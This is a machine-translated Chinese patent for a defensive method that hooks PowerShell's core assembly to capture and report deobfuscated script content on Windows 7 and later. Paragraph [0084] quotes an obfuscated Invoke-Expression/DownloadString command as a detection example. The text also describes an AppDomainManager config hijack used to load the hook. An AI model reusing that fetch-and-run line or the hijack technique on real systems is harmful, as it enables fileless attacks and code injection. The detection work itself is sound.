A detection method and device based on Powershell
By loading the hook module in the Powershell process, determining the target function according to the Windows version, and obtaining and reporting the execution script information of the Powershell process, the existing technology problem of being unable to monitor Powershell malicious activities in Windows 7 and below systems is solved, and the update is realized. Acquisition of multi-system detection and deobfuscation data.
Patent Information
- Application Number
- CN202311797246.1
- Authority / Receiving Office
- CN · China
- Patent Type
- Patents(China)
- Current Assignee / Owner
- Filing Date
- 2023-12-25
- Publication Date
- 2024-08-27
- Estimated Expiration
- 2043-12-25
AI Technical Summary
Existing technology is difficult to effectively monitor and detect malicious activities of Powershell processes in Windows 7 and below systems, especially because the log collection method based on 4104 events is not available in these systems, and the deobfuscated script information cannot be obtained in a timely manner.
Monitor the target assembly of the Powershell process by loading the hook module, determine the target function according to the Windows version, obtain and report the original information of the executed script and deobfuscate the data. It is suitable for Windows 7 and above systems.
It expands the applicable scope of Powershell detection, can effectively monitor and detect malicious activities in more Windows systems, improves the accuracy of reported information, and can handle various obfuscation methods including string obfuscation.
Smart Images

Figure CN117786688B
Abstract
Description
Technical Field
[0001] The present invention relates to the field of computer technology, and in particular to a detection method and device based on Powershell. Background Art
[0002] Powershell is a built-in tool component of the Windows system. It is installed by default in the Windows system and is used to simplify system management and automation tasks.
[0003] Since Powershell has a wide range of system permissions and functions, it can be used to execute malicious scripts, such as implanting malicious files and stealing sensitive information; it can be used to perform remote attacks, such as using Powershell remote sessions to invade the system and execute commands; it can be used for fileless attacks, such as loading and executing malicious code in memory. In the prior art, terminal security products mostly collect the script content executed by Powershell through the Windows system log 4104 event (Powershell Script BlockLogging) or monitor the commands or scripts run by the powershell process through the 4688 event (process creation event), and analyze them from the static features of the file or the command line parameters. This method has major defects, such as the method of obtaining the system log based on the 4104 event, which is only effective in Powershell versions above 5.0. There is no system log in Win7, Win Server 2008R2, and Win Server 2012 versions, so it cannot be applied. Therefore, how to propose a detection method based on Powershell that can be applied to systems above Windows 7 has become an important issue that needs to be solved in this field. Summary of the invention
[0004] In view of the problems in the prior art, the embodiments of the present invention provide a detection method and device based on Powershell, which can at least partially solve the problems in the prior art.
[0005] On the one hand, the present invention proposes a detection method based on Powershell, comprising:
[0006] If the Powershell process is started, a hook module is loaded to monitor the target assembly; wherein the hook module is pre-set;
[0007] If the target assembly is loaded, determining the target function corresponding to the current system based on the Windows version of the current system; wherein the target function corresponding to each Windows version is preset;
[0008] Based on the hook module, obtaining the address of the target function corresponding to the current system;
[0009] Based on the address of the target function corresponding to the current system and the parsing function of the target function corresponding to the current system, obtaining the reporting information of the target function corresponding to the current system; wherein the parsing function corresponding to the target function is pre-set in the hook module based on the Windows version; the parsing function is used to obtain the original information of the execution script and the deobfuscated data;
[0010] Reporting information of the objective function corresponding to the current system.
[0011] On the other hand, the present invention provides a detection device based on Powershell, comprising:
[0012] A startup unit, used for loading a hook module to monitor a target assembly after the Powershell process is started; wherein the hook module is pre-set;
[0013] A determination unit, configured to determine, after the target assembly is loaded, a target function corresponding to the current system based on the Windows version of the current system; wherein the target function corresponding to each Windows version is preset;
[0014] A first acquisition unit, configured to acquire an address of a target function corresponding to the current system based on the hook module;
[0015] A second acquisition unit is used to acquire the reporting information of the target function corresponding to the current system based on the address of the target function corresponding to the current system and the parsing function of the target function corresponding to the current system; wherein the parsing function corresponding to the target function is pre-set in the hook module based on the Windows version; the parsing function is used to acquire the original information of the execution script and the deobfuscated data;
[0016] A reporting unit is used to report the reporting information of the objective function corresponding to the current system.
[0017] On the other hand, the present invention provides an electronic device, comprising a memory, a processor, and a computer program stored in the memory and executable on the processor, wherein when the processor executes the program, the Powershell-based detection method described in any one of the above embodiments is implemented.
[0018] On the other hand, the present invention provides a computer-readable storage medium having a computer program stored thereon, which, when executed by a processor, implements the Powershell-based detection method described in any of the above embodiments.
[0019] The Powershell-based detection method and device provided by the embodiment of the present invention, if the Powershell process is started, a hook module is loaded to monitor the target assembly; wherein the hook module is pre-set; if the target assembly is loaded, the target function corresponding to the current system is determined based on the Windows version of the current system; wherein the target function corresponding to each Windows version is pre-set; based on the hook module, the address of the target function corresponding to the current system is obtained; based on the address of the target function corresponding to the current system and the parsing function of the target function corresponding to the current system, the reporting information of the target function corresponding to the current system is obtained; wherein the parsing function corresponding to the target function is pre-set in the hook module based on the Windows version; the parsing function is used to obtain the original information of the execution script and the deobfuscated data; the reporting information of the target function corresponding to the current system is reported, which can be applied to Windows 7 and above systems to detect the Powershell process, expands the scope of application, and can be applied to more Windows systems. BRIEF DESCRIPTION OF THE DRAWINGS
[0020] In order to more clearly illustrate the embodiments of the present invention or the technical solutions in the prior art, the following briefly introduces the drawings required for use in the embodiments or the prior art descriptions. Obviously, the drawings described below are only some embodiments of the present invention. For ordinary technicians in this field, other drawings can be obtained based on these drawings without creative work. In the drawings:
[0021] Figure 1 It is a flowchart of the Powershell-based detection method provided in the first embodiment of the present invention.
[0022] Figure 2 It is a flowchart of a Powershell-based detection method provided in the second embodiment of the present invention.
[0023] Figure 3 It is a schematic diagram of the structure of a Powershell-based detection device provided in the third embodiment of the present invention.
[0024] Figure 4 It is a schematic diagram of the structure of a Powershell-based detection device provided in the fourth embodiment of the present invention.
[0025] Figure 5 It is a schematic diagram of the structure of a Powershell-based detection device provided in the fifth embodiment of the present invention.
[0026] Figure 6It is a schematic diagram of the physical structure of an electronic device provided by the sixth embodiment of the present invention. DETAILED DESCRIPTION
[0027] In order to make the purpose, technical scheme and advantages of the embodiments of the present invention more clear, the embodiments of the present invention are further described in detail below in conjunction with the accompanying drawings. Here, the illustrative embodiments of the present invention and their descriptions are used to explain the present invention, but are not intended to limit the present invention. It should be noted that, in the absence of conflict, the embodiments in this application and the features in the embodiments can be combined with each other arbitrarily.
[0028] In order to facilitate understanding of the technical solution provided by this application, the relevant contents of the technical solution of this application are first explained below.
[0029] Hook: API Hook technology is a technology used to change the results of API execution and can redirect the execution of API functions in the Windows system.
[0030] AMSI (Antimalware Scan Interface): Windows Antimalware Scan Interface is a universal interface standard that allows applications and services to integrate with any antimalware product present on the computer.
[0031] Assemblies: Assemblies form the fundamental unit of deployment, versioning, reuse, activation scope, and security permissions for .NET applications. An assembly is a collection of types and resources built to work together and form a logical unit of functionality. Assemblies take the form of executable files (.exe) or dynamic link library files (.dll) and are the building blocks of .NET applications. They provide the common language runtime with the information it needs to implement the type code.
[0032] Obfuscation and deobfuscation: To make the script or instruction difficult to read by people, encryption or string deformation and expansion are used to make the script difficult to read. This method is called obfuscation. The obfuscated script or instruction cannot be directly used by security personnel or rule engines. Deobfuscation is the reverse process of obfuscation, the purpose of which is to obtain the original instruction or script.
[0033] The method of obtaining system logs based on 4104 events is only effective in Powershell versions above 5.0. There is no system log in Windows 7, Windows Server 2008R2, and Windows Server 2012. At the same time, the system log can record the content of the executed script, but it cannot be deobfuscated. If the script is obfuscated, the collected information is still the information before obfuscation and cannot be used directly. In addition, the log will not record the specific malicious instructions and methods used by the script; for example, based on the 4688 process creation event, it can also be bypassed by attackers using obfuscated instructions or scripts. In addition, if the script is not obfuscated by XOR or Base64 encoding, but by string obfuscation, it will be impossible to obtain the deobfuscated data.
[0034] Detection of Powershell script execution based on AMSI. AMSI is the Anti-Malware Scanning Interface, which is designed to combat "fileless malware". The types of applications that can take advantage of AMSI technology include scripting engines, applications that need to scan memory buffers before use, and applications that process files that may contain non-PE executable code (such as Microsoft Word and Excel macros or PDF documents).
[0035] To detect the execution of Powershell scripts based on AMSI, it is necessary to register AMSIProvider with the system. It is essentially a dll. The dll needs to implement DllRegisterServer and DllUnregisterServer interfaces, and register and uninstall the dll through regsvr32. At the same time, the dll must also implement the virtual function interface corresponding to IAntimalwareProvider.
[0036] After the Win10 version, Powershell began to integrate the AMSI function. When Powershell is started, it will actively load the AMSIProvider. When executing scripts or instructions, Powershell will call AmsiScanBuffer to scan and execute the content. At this time, AMSIProvider will obtain the scanned content, and the scanned content can be recorded or reported at this time. The content obtained at this time includes the original content of the script and some deobfuscated data. The obfuscation methods include Base64, Xor, Hex, and ASCII. However, this solution cannot be used in systems before Win10. In addition, if the script is not obfuscated by Base64, Xor, Hex, or ASCII, but by string obfuscation, the deobfuscated data will not be obtained.
[0037] AMSI detection of Powershell script execution is extremely dependent on system mechanisms and adopts a bypass collection method. It cannot modify the recording method of system logs and can only obtain information provided by the system. It cannot independently obtain the required information. Therefore, this solution does not support obtaining malicious instructions and methods executed in Powershell scripts. For string obfuscation methods, this solution cannot obtain deobfuscated information.
[0038] The execution subject of the Powershell-based detection method provided in the embodiment of the present invention includes but is not limited to a computer.
[0039] Figure 1 : is a flow chart of a detection method based on Powershell provided in the first embodiment of the present invention, such as Figure 1 As shown, the Powershell-based detection method provided by the embodiment of the present invention includes:
[0040] S101. If the Powershell process is started, a hook module is loaded to monitor the target assembly; wherein the hook module is pre-set;
[0041] Specifically, after the Powershell process is started, a hook module is loaded, and the hook module is pre-set. After the hook module is loaded, the target assembly is monitored. The target assembly includes System.ManageMent.Automation.dll.
[0042] The default Powershell that comes with Windows is a command-line-based scripting language and shell environment. It is built on .Net FrameWork. When Powershell is executed, it will load some assemblies by default to provide the necessary libraries and functions.
[0043] For example, the hook module is an assembly written in C#. The hook module is written by the user and can be named by the user, such as Assembly.dll. The loading monitoring of other Powershell assemblies, the addition of hook functions, the filtering and transmission of data are all completed in the hook module.
[0044] For example, the hook module can be loaded through hijacking or injection.
[0045] If you want to load the hook module by hijacking, you need to create a powershell.exe.config configuration file in the same directory as powershell.exe and add properties to the configuration file.<appDomainManagerTypevalue="SensorAssembly.CustomeAppDomainManager" / >
[0046] <appDomainManagerAssembly
[0047] value="SensorAssembly,Version=1.0.0.0,Culture=neutral,PublicKeyToken=24b22b70499f5274,processorArchitecture=MSIL"
[0048] SensorAssembly is the assembly name, SensorAssembly.CustomeAppDomainManager is the class name, and SensorAssembly.dll is the hook module written.
[0049] For example, after loading the hook module, the target assembly can be monitored by path or assembly name.
[0050] S102: If the target assembly is loaded, determining a target function corresponding to the current system based on the Windows version of the current system; wherein the target function corresponding to each Windows version is preset;
[0051] Specifically, after loading, the hook module will monitor the loading action of the target assembly. If the target assembly is loaded, the target function corresponding to the current system can be determined according to the Windows version of the current system. The deobfuscated script or instruction can be obtained through the target function corresponding to the current system. Among them, the target function corresponding to each Windows version is pre-set; the target function is used to obtain the deobfuscated script or instruction.
[0052] The execution of Powershell instructions or scripts is implemented in the target assembly. It is necessary to add a target function to the assembly when the Powershell process is executed, so that the target function will be called first when Powershell executes the script or instruction. In the target function, the original information of the script and the deobfuscated data can be obtained, and the execution instruction can be obtained.
[0053] Different versions of Windows systems have different locations of command execution engines or command parsers, so the locations of hooks are also different. For example, in Windows 10 and Windows Server 2012R2 and above, in the System.ManageMent.Automation.dll assembly, the class member is CompiledScriptBlockData, and the method is Compile as a hook point. Setting the corresponding parsing function at this point can obtain the content of the script execution and the original data before encryption obfuscation, but it is impossible to obtain the deobfuscated content obfuscated by string mode. The class member is CommandParameterInternal, and the method is CreateArgument as another hook point. Setting the corresponding parsing function at this hook point can obtain the specific instructions and parsing information of the script execution, and the information obtained is the obfuscated information. For example, in Windows 7 and Windows Server 2008R2 systems, in the assembly System.ManageMent.Automation.dll, the class member is Parser, and the method is ParseScriptBlock as a hook point. Setting the corresponding parsing function at this point can obtain the content of the script execution and the original data before encryption obfuscation, but it is impossible to obtain the deobfuscated content obfuscated by string mode. The hook point is where the class member is ExecutionContext and the method is CreateCommand. Setting the corresponding parsing function here can obtain the instructions executed by Powershell and the parsing information, and the information obtained is obfuscated information. The class member is ParserOps. The method is CallMethod, which is the hook point. Setting the corresponding parsing function here can obtain the method called by Powershell. It is understandable that the corresponding parsing function needs to be set at each hook point.
[0054] S103, based on the hook module, obtaining the address of the target function corresponding to the current system;
[0055] Specifically, after the target assembly is loaded, the address of the target function corresponding to the current system can be obtained in the hook module by reflection.
[0056] S104, based on the address of the target function corresponding to the current system and the parsing function of the target function corresponding to the current system, obtaining the reporting information of the target function corresponding to the current system; wherein the parsing function corresponding to the target function is pre-set in the hook module based on the Windows version; the parsing function is used to obtain the original information of the execution script and the deobfuscated data;
[0057] Specifically, after obtaining the address of the target function corresponding to the current system, the execution process of the target function corresponding to the current system can be modified to the parsing function of the target function corresponding to the current system, thereby obtaining the reporting information of the target function corresponding to the current system. The reporting information may include the content of the script execution in Powershell and the original data before encryption and obfuscation, the instructions of the script execution and the parsing information, and the parsing information may include the deobfuscated content obfuscated in the string manner. Among them, the parsing function corresponding to the target function is pre-set in the hook module based on the Windows version.
[0058] S105: Reporting information of the objective function corresponding to the current system.
[0059] Specifically, after obtaining the reporting information of the objective function corresponding to the current system, the reporting information of the objective function corresponding to the current system is reported.
[0060] For example, the reporting information of the target function may be sent to a server, and the server may perform security detection based on the reporting information.
[0061] The detection method based on Powershell provided by the embodiment of the present invention, if the Powershell process is started, the hook module is loaded to monitor the target assembly; wherein the hook module is pre-set; if the target assembly is loaded, the target function corresponding to the current system is determined based on the Windows version of the current system; wherein the target function corresponding to each Windows version is pre-set; based on the hook module, the address of the target function corresponding to the current system is obtained; based on the address of the target function corresponding to the current system and the parsing function of the target function corresponding to the current system, the reporting information of the target function corresponding to the current system is obtained; wherein the parsing function corresponding to the target function is pre-set in the hook module based on the Windows version; the parsing function is used to obtain the original information of the execution script and the deobfuscated data; the reporting information of the target function corresponding to the current system is reported, which can be applied to Windows7 and above systems to detect the Powershell process, expand the scope of application, and can be applied to more Windows systems. In addition, the script or instruction using the string obfuscation method can be deobfuscated, which improves the accuracy of the reported information.
[0062] Figure 2 : is a flow chart of a detection method based on Powershell provided in the second embodiment of the present invention, such as Figure 2As shown, on the basis of the above embodiments, further, based on the address of the target function corresponding to the current system and the parsing function of the target function corresponding to the current system, obtaining the reporting information of the target function corresponding to the current system includes:
[0063] S201, redirecting the address of the target function corresponding to the current system according to the parsing function;
[0064] Specifically, after the address of the target function corresponding to the current system is obtained, the address of the target function corresponding to the current system can be redirected through the parsing function.
[0065] For example, the parsing function may modify the execution flow of the target function corresponding to the current system to the parsing function by means of a Hook.
[0066] S202: During the execution of the objective function corresponding to the current system, the reporting information of the objective function corresponding to the current system is transmitted to the corresponding parsing function.
[0067] Specifically, during the execution of the objective function corresponding to the current system, the analysis function may be called to pass the reporting information of the objective function corresponding to the current system to the analysis function, thereby obtaining the reporting information of the objective function corresponding to the current system.
[0068] For example, the current system is Windows Server 2012R2, and the target functions corresponding to Windows Server 2012R2 are Compile and CreateArgument. When the target function Compile is executed, the parsing function corresponding to Compile is called. Compile passes the content of the script execution and the original data after string obfuscation to the parsing function corresponding to Compile. When the target function CreateArgument is executed, the parsing function corresponding to CreateArgument is called. CreateArgument passes the specific instructions and parameter information of the script execution to the parsing function corresponding to CreateArgument. The parameter information is the deobfuscated information.
[0069] On the basis of the above embodiments, further, the objective function and the corresponding analytical function have a matching parameter structure.
[0070] Specifically, when setting the analytical function corresponding to the objective function, the objective function and the corresponding analytical function have matching parameter structures.
[0071] For example, if the target function is CreateArgument, the custom parsing function of CreateArgument is CreateArgumentHookHandler. CreateArgumentHookHandler matches the CreateArgument parameter structure.
[0072] The original CreateArgument function structure is internal static CommandParameterInternal CreateArgument(IScriptExtent extent, object value, bool splatted = false, bool arrayIsSingleArgumentForNativeCommand = false), so the corresponding parsing function has a matching parameter structure as follows:
[0073] private void CreateArgumentHookHandler(object value,bool splatted=false,bool arrayIsSingleArgumentForNativeCommand=false)
[0074] The parameter structure of the parsing function CreateArgumentHookHandler has one less parameter than the corresponding target function CreateArgument. The reason is that there is a this pointer in the parsing function CreateArgumentHookHandler, and the first parameter of the target function CreateArgument will be obtained by this pointer. In this way, after Hook CreateArgument, the parsing function CreateArgumentHookHandler will be called when CreateArgument is executed, and the parameter information of CreateArgument will be passed to CreateArgumentHookHandler, so that the parameter information of CreateArgument can be obtained. The parameter object value of CreateArgument stores the instruction information that needs to be executed.
[0075] On the basis of the above embodiments, further, the Windows version includes Windows 7 and above.
[0076] Specifically, for Windows 7 and above versions, the Powershell-based detection method provided by the embodiment of the present invention can be used to obtain the reporting information of the target function corresponding to the current system.
[0077] Windows 7 and above versions include Windows 7, Windows Server 2008R2, Windows HomeServer 2011, Windows Server 2012, Windows 8, Windows 8.1, Windows Server 2012R2, Windows 10, Windows Server 2016, Windows Server 2019, Windows Server 2022 and Windows 11, etc.
[0078] On the basis of the above embodiments, further, the target assembly is System.ManageMent.Automation.dll.
[0079] Specifically, System.Management.Automation.dll is the core assembly of Powershell, which includes the operating environment of Powershell and defines key components such as command execution engine and command parser. The execution of Powershell instructions or scripts is implemented in this assembly.
[0080] By monitoring the assembly System.ManageMent.Automation.dll through the hook module, it can be ensured that the reporting information of the target function is obtained.
[0081] On the basis of the above embodiments, further, the Powershell-based detection method provided in the embodiment of the present invention also includes:
[0082] The reporting information of the objective function corresponding to the current system is filtered through a preset rule engine.
[0083] Specifically, when Powershell executes a script, the instructions or methods that the executed script needs to execute can be obtained by the hook module, and no matter what type of obfuscation method the script or instruction uses, the deobfuscated data can be obtained through the hook module. The deobfuscated data may contain noise data, and the rule engine can be set to filter the reported information of the target function. Among them, the rule engine is preset and is set according to actual needs, and the embodiment of the present invention does not limit it.
[0084] For example, if the script in Powershell executes the command to download and execute a malicious file, such as: .("{4}{1}{0}{2}{3}"-f'Express','-','io','n','Invoke')(&("{2}{0}{3}{1}"-f'e','-Object','N','w')System.Net.WebClient).DownloadString("http: / / 127.0.0.1 / 1_1.ps1"), the real Powershell command can be obtained as Invoke-expression, as well as the called DownloadString method and URL. After the above data is judged by the rule engine, it can be known that this is a fileless attack, and an alarm can be generated.
[0085] If the deobfuscated data cannot be obtained, it is impossible to directly determine whether there is an attack through the rule engine. It can only determine the instructions executed by Powershell, but the intention of the instruction or script cannot be known. Therefore, there is a risk that it may be exploited by attackers and then bypassed.
[0086] The following is an example of executing the Powershell-based detection method provided by an embodiment of the present invention in a Windows 10 system.
[0087] In Windows 10, the content of the script execution and the original data before encryption and obfuscation can be obtained through the Compile function; the specific instructions and parameter information of the script execution can be obtained through the CreateArgument function, and the obtained information is the obfuscated information. Set the parsing function corresponding to Compile to CompileHookHandler, and set the parsing function corresponding to CreateArgument to CreateArgumentHookHandler. Compile and CompileHookHandler have matching parameter structures. CreateArgument and CreateArgumentHookHandler have matching parameter structures.
[0088] Step 1: Powershell process starts. The Powershell process starts to execute script A. Script A is obfuscated using string obfuscation.
[0089] Step 2: Load the hook module. After the Powershell process is started, the hook module Assembly.dll will be loaded to monitor the target assembly System.ManageMent.Automation.dll. The hook module Assembly.dll is pre-set.
[0090] Step 3: Load the target assembly. After loading the target assembly System.ManageMent.Automation.dll, get the Windows version of the current system as Windows 10.
[0091] Step 4: Determine the target function. Based on the Windows version of the current system, the target functions can be determined to be Compile and CreateArgument.
[0092] Step 5: Get the address of the target function. In the hook module, the address of the target function Compile and CreateArgument will be obtained through reflection.
[0093] Step 4: Redirect address. After obtaining the address of the target function Compile, you can modify the execution flow of Compile to CompileHookHandler by Hook, so that CompileHookHandler is called when Compile is executed. After obtaining the address of the target function CreateArgument, you can modify the execution flow of CreateArgument to CreateArgumentHookHandler by Hook, so that CreateArgumentHookHandler is called when CreateArgument is executed.
[0094] Step 5: Pass information. When the target function Compile is executed, CompileHookHandler is called. Compile passes the content of script A and the original data after string obfuscation to CompileHookHandler. When the target function CreateArgument is executed, CreateArgumentHookHandler is called. CreateArgument passes the specific instructions and parameter information of script A to CreateArgumentHookHandler. The parameter information is the information after string deobfuscation.
[0095] Step 6: Report information. The hook module reports the content executed by script A, the original data after string obfuscation, the specific instructions and parameter information executed by script A as report information.
[0096] The following is an example of executing the Powershell-based detection method provided by the embodiment of the present invention in a Windows 7 system.
[0097] In Windows 7, the function ParseScriptBlock can be used to obtain the content of the script execution and the original data after string obfuscation; the function CreateCommand can be used to obtain the specific instructions and parameter information of the script execution, and the obtained parameter information is the deobfuscated information. Set the parsing function corresponding to ParseScriptBlock to ParseScriptBlockHookHandler, and set the parsing function corresponding to CreateCommand to CreateCommandHookHandler. ParseScriptBlock and ParseScriptBlockHookHandler have matching parameter structures. CreateCommand and CreateCommandHookHandler have matching parameter structures.
[0098] Step 1: Powershell process starts. The Powershell process starts to execute script B. Script B is obfuscated using string obfuscation.
[0099] Step 2: Load the hook module. After the Powershell process is started, the hook module Bssembly.dll will be loaded to monitor the target assembly System.ManageMent.Automation.dll. The hook module Bssembly.dll is pre-set.
[0100] Step 3: Load the target assembly. After loading the target assembly System.ManageMent.Automation.dll, get the current system Windows version as Windows7.
[0101] Step 4: Determine the target function. Based on the Windows version of the current system, the target functions can be determined to be ParseScriptBlock and CreateCommand.
[0102] Step 5: Get the address of the target function. In the hook module, the address of the target function ParseScriptBlock and CreateCommand will be obtained through reflection.
[0103] Step 4: Redirect address. After obtaining the address of the target function ParseScriptBlock, you can modify the execution flow of ParseScriptBlock to ParseScriptBlockHookHandler by Hook, so that when ParseScriptBlock is executed, ParseScriptBlockHookHandler is called. After obtaining the address of the target function CreateCommand, you can modify the execution flow of CreateCommand to CreateCommandHookHandler by Hook, so that when CreateCommand is executed, CreateCommandHookHandler is called.
[0104] Step 5: Pass information. When the target function ParseScriptBlock is executed, ParseScriptBlockHookHandler is called. ParseScriptBlock passes the content of script B and the original data after string obfuscation to ParseScriptBlockHookHandler. When the target function CreateCommand is executed, CreateCommandHookHandler is called. CreateCommand passes the specific instructions and parameter information of script B to CreateCommandHookHandler. The parameter information is the information after string deobfuscation.
[0105] Step 6: Report information. The hook module reports the content executed by script B, the original data after string obfuscation, the specific instructions and parameter information executed by script B as report information.
[0106] Figure 3 is a schematic diagram of the structure of a detection device based on Powershell provided in the third embodiment of the present invention, such as Figure 3 As shown, the Powershell-based detection device provided in the embodiment of the present invention includes a starting unit 301, a determining unit 302, a first obtaining unit 303, a second obtaining unit 304 and a reporting unit 305, wherein:
[0107] The startup unit 301 is used to load the hook module to monitor the target assembly after the Powershell process is started; wherein the hook module is pre-set; the determination unit 302 is used to determine the target function corresponding to the current system based on the Windows version of the current system after the target assembly is loaded; wherein the target function corresponding to each Windows version is pre-set; the target function is used to obtain the deobfuscated script or instruction; the first acquisition unit 303 is used to obtain the address of the target function corresponding to the current system based on the hook module; the second acquisition unit 304 is used to obtain the reporting information of the target function corresponding to the current system based on the address of the target function corresponding to the current system and the parsing function of the target function corresponding to the current system; wherein the parsing function corresponding to the target function is pre-set in the hook module based on the Windows version; the parsing function is used to obtain the original information of the execution script and the deobfuscated data; the reporting unit 305 is used to report the reporting information of the target function corresponding to the current system.
[0108] Specifically, after the Powershell process is started, the startup unit 301 will load a hook module, which is pre-set. After the hook module is loaded, the target assembly will be monitored. The target assembly includes System.ManageMent.Automation.dll.
[0109] After the hook module is loaded, the determination unit 302 monitors the loading action of the target assembly. If the target assembly is loaded, the target function corresponding to the current system can be determined according to the Windows version of the current system. The deobfuscated script or instruction can be obtained through the target function corresponding to the current system. Among them, the target function corresponding to each Windows version is pre-set; the target function is used to obtain the deobfuscated script or instruction.
[0110] After the target assembly is loaded, the first acquisition unit 303 can acquire the address of the target function corresponding to the current system in the hook module by reflection.
[0111] After obtaining the address of the target function corresponding to the current system, the second acquisition unit 304 can modify the execution process of the target function corresponding to the current system into the parsing function of the target function corresponding to the current system, thereby obtaining the reporting information of the target function corresponding to the current system. The reporting information may include the content of the script execution in Powershell and the original data before encryption and obfuscation, the instructions of the script execution and the parsing information, and the parsing information may include the deobfuscated content obfuscated in a string manner. The parsing function corresponding to the target function is pre-set in the hook module based on the Windows version.
[0112] After obtaining the reporting information of the objective function corresponding to the current system, the reporting unit 305 reports the reporting information of the objective function corresponding to the current system.
[0113] The detection device based on Powershell provided by the embodiment of the present invention, if the Powershell process is started, the hook module is loaded to monitor the target assembly; wherein the hook module is pre-set; if the target assembly is loaded, the target function corresponding to the current system is determined based on the Windows version of the current system; wherein the target function corresponding to each Windows version is pre-set; based on the hook module, the address of the target function corresponding to the current system is obtained; based on the address of the target function corresponding to the current system and the parsing function of the target function corresponding to the current system, the reporting information of the target function corresponding to the current system is obtained; wherein the parsing function corresponding to the target function is pre-set in the hook module based on the Windows version; the parsing function is used to obtain the original information of the execution script and the deobfuscated data; the reporting information of the target function corresponding to the current system is reported, which can be applied to Windows7 and above systems to detect the Powershell process, expand the scope of application, and can be applied to more Windows systems. In addition, the script or instruction using the string obfuscation method can be deobfuscated, which improves the accuracy of the reported information.
[0114] Figure 4 is a schematic diagram of the structure of a detection device based on Powershell provided in the fourth embodiment of the present invention, such as Figure 4 As shown, based on the above embodiments, further, the second acquisition unit 304 includes a redirection subunit 3041 and a delivery subunit 3042, wherein:
[0115] The redirection subunit 3041 is used to redirect the address of the target function corresponding to the current system according to the parsing function; the transfer subunit 3042 is used to transfer the parameters of the target function corresponding to the current system to the corresponding parsing function during the execution of the target function corresponding to the current system.
[0116] On the basis of the above embodiments, further, the objective function and the corresponding analytical function have a matching parameter structure.
[0117] On the basis of the above embodiments, further, the Windows version is Windows 7 or above.
[0118] On the basis of the above embodiments, further, the target assembly is System.ManageMent.Automation.dll.
[0119] Figure 5 is a schematic diagram of the structure of a detection device based on Powershell provided in the fifth embodiment of the present invention, such as Figure 5 As shown, on the basis of the above embodiments, further, the Powershell-based detection device provided by the embodiment of the present invention also includes:
[0120] The filtering unit 306 is used to filter the reporting information of the objective function corresponding to the current system through a preset rule engine.
[0121] The embodiments of the apparatus provided in the embodiments of the present invention can be specifically used to execute the processing flow of the above-mentioned method embodiments, and its functions are not described in detail here, and reference can be made to the detailed description of the above-mentioned method embodiments.
[0122] Figure 6 is a schematic diagram of the physical structure of an electronic device provided by an embodiment of the present invention, such as Figure 6As shown, the electronic device may include: a processor (processor) 601, a communication interface (Communications Interface) 602, a memory (memory) 603 and a communication bus 604, wherein the processor 601, the communication interface 602, and the memory 603 communicate with each other through the communication bus 604. The processor 601 can call the logical instructions in the memory 603 to execute the following method: if the Powershell process is started, the hook module is loaded to monitor the target assembly; wherein the hook module is pre-set; if the target assembly is loaded, the target function corresponding to the current system is determined based on the Windows version of the current system; wherein the target function corresponding to each Windows version is pre-set; based on the hook module, the address of the target function corresponding to the current system is obtained; based on the address of the target function corresponding to the current system and the parsing function of the target function corresponding to the current system, the reporting information of the target function corresponding to the current system is obtained; wherein the parsing function corresponding to the target function is pre-set in the hook module based on the Windows version; the parsing function is used to obtain the original information of the execution script and the deobfuscated data; and the reporting information of the target function corresponding to the current system is reported.
[0123] In addition, the logic instructions in the above-mentioned memory 603 can be implemented in the form of a software functional unit and can be stored in a computer-readable storage medium when it is sold or used as an independent product. Based on such an understanding, the technical solution of the present invention can be essentially or partly embodied in the form of a software product that contributes to the prior art. The computer software product is stored in a storage medium, including several instructions to enable a computer device (which can be a personal computer, a server, or a network device, etc.) to perform all or part of the steps of the method described in each embodiment of the present invention. The aforementioned storage medium includes: various media that can store program codes, such as a USB flash drive, a mobile hard disk, a read-only memory (ROM), a random access memory (RAM), a magnetic disk or an optical disk.
[0124] The present embodiment discloses a computer program product, which includes a computer program stored on a non-transitory computer-readable storage medium, and the computer program includes program instructions. When the program instructions are executed by a computer, the computer can execute the methods provided by the above-mentioned method embodiments, for example, including: if a Powershell process is started, a hook module is loaded to monitor a target assembly; wherein the hook module is pre-set; if the target assembly is loaded, a target function corresponding to the current system is determined based on the Windows version of the current system; wherein the target function corresponding to each Windows version is pre-set; based on the hook module, an address of the target function corresponding to the current system is obtained; based on the address of the target function corresponding to the current system and a parsing function of the target function corresponding to the current system, reporting information of the target function corresponding to the current system is obtained; wherein the parsing function corresponding to the target function is pre-set in the hook module based on the Windows version; the parsing function is used to obtain original information of the execution script and deobfuscated data; and reporting information of the target function corresponding to the current system is reported.
[0125] The present embodiment provides a computer-readable storage medium, which stores a computer program, and the computer program enables the computer to execute the methods provided by the above-mentioned method embodiments, for example, including: if the Powershell process is started, a hook module is loaded to monitor the target assembly; wherein the hook module is pre-set; if the target assembly is loaded, the target function corresponding to the current system is determined based on the Windows version of the current system; wherein the target function corresponding to each Windows version is pre-set; based on the hook module, the address of the target function corresponding to the current system is obtained; based on the address of the target function corresponding to the current system and the parsing function of the target function corresponding to the current system, the reporting information of the target function corresponding to the current system is obtained; wherein the parsing function corresponding to the target function is pre-set in the hook module based on the Windows version; the parsing function is used to obtain the original information of the execution script and the deobfuscated data; and the reporting information of the target function corresponding to the current system is reported.
[0126] Those skilled in the art will appreciate that embodiments of the present invention may be provided as methods, systems, or computer program products. Therefore, the present invention may take the form of a complete hardware embodiment, a complete software embodiment, or an embodiment combining software and hardware. Moreover, the present invention may take the form of a computer program product implemented on one or more computer-usable storage media (including but not limited to disk storage, CD-ROM, optical storage, etc.) containing computer-usable program code.
[0127] The present invention is described with reference to flowcharts and / or block diagrams of methods, devices (systems), and computer program products according to embodiments of the present invention. It should be understood that each process and / or block in the flowchart and / or block diagram, as well as the combination of processes and / or blocks in the flowchart and / or block diagram, can be implemented by computer program instructions. These computer program instructions can be provided to a processor of a general-purpose computer, a special-purpose computer, an embedded processor, or other programmable data processing device to produce a machine, so that the instructions executed by the processor of the computer or other programmable data processing device generate instructions for implementing the processes in the flowchart and / or block diagram. Figure 1 A process or multiple processes and / or boxes Figure 1 A device that provides the functions specified in a block or multiple blocks.
[0128] These computer program instructions may also be stored in a computer-readable memory capable of directing a computer or other programmable data processing device to operate in a specific manner, so that the instructions stored in the computer-readable memory produce an article of manufacture comprising an instruction device, which implements the process Figure 1 A process or multiple processes and / or boxes Figure 1 A function specified in one or more boxes.
[0129] These computer program instructions can also be loaded onto a computer or other programmable data processing device so that a series of operating steps are executed on the computer or other programmable device to produce a computer-implemented process, thereby providing instructions for implementing the process. Figure 1 A process or multiple processes and / or boxes Figure 1 The steps for the functions specified in one or more boxes.
